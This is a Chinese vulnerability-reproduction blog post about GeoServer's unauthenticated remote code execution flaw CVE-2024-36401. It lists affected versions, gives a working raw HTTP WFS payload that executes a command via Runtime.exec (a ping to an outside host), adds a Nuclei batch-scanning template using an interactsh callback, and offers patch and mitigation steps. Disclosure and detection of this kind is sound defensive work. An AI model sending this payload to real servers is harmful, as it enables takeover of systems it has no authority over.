【漏洞复现】Geoserver远程代码执行漏洞(CVE-2024-36401)

文章目录

漏洞描述

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

GeoServer存在远程代码执行漏洞(CVE-2024-36401),未经身份认证的远程攻击者可以通过该漏洞在服务器上执行任意代码,从而获取服务器权限。

漏洞名称 Geoserver远程代码执行漏洞
CVE编码 CVE-2024-36401
漏洞类型 代码执行
漏洞等级 高危
公开时间 2024-07-02

影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

利用条件

无需任何利用条件

漏洞复现

bash 复制代码
POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping dgrh3.cn -c 1")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

批量脚本

yaml 复制代码
id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: whgojp
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

修复建议

GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。

临时缓解措施

删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

参考链接

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://osgeo-org.atlassian.net/browse/GEOT-7587
https://github.com/vulhub/vulhub/pull/540/files#diff-f83989e1a9d69179df696bc01c04fbf62ba914325457bef67c1d95fb63772e91

相关推荐
小乖写代码26 分钟前
语音通话安全架构 · Voice Call Security Architecture
安全·安全架构·whatsapp·通信安全·语音通话
kingx32 小时前
DASCTF空白格:ZIP内空白字符二进制隐写解码
安全·misc·空白字符隐写·zip分析·python解码
上海曼博生物医药科技有限公司3 小时前
人原代肝细胞为什么需要P2备案?从生物安全条件到使用记录
安全·人原料代肝细胞·p2实验室·实验室备案·细胞进口安全管理
BullSmall5 小时前
Prometheus监控栈安全加固全攻略
安全·grafana·prometheus
王二蛋与他的张大花1 天前
反编译后只剩 2 个类:一次自研 DEX 壳加固的完整复盘
android·安全·逆向
码云之上2 天前
微信小程序设备指纹实践,删了重装还能认出这台手机吗?
前端·安全·微信小程序
半扇排骨2 天前
特别篇:在线 XSS 靶场 haozi 分享与通关笔记
学习·安全·靶场·xss
多加点辣也没关系2 天前
JavaScript|第42章:安全与最佳实践
开发语言·javascript·安全
asaotomo2 天前
把浏览器变成安全工作台:Hx0 鹰眼 v1.0.7 功能全解与 6 个落地场景
安全·web安全·渗透测试·浏览器插件
菩提小狗3 天前
每日安全情报报告 · 2026-11-21
网络安全·漏洞·cve·安全情报·每日安全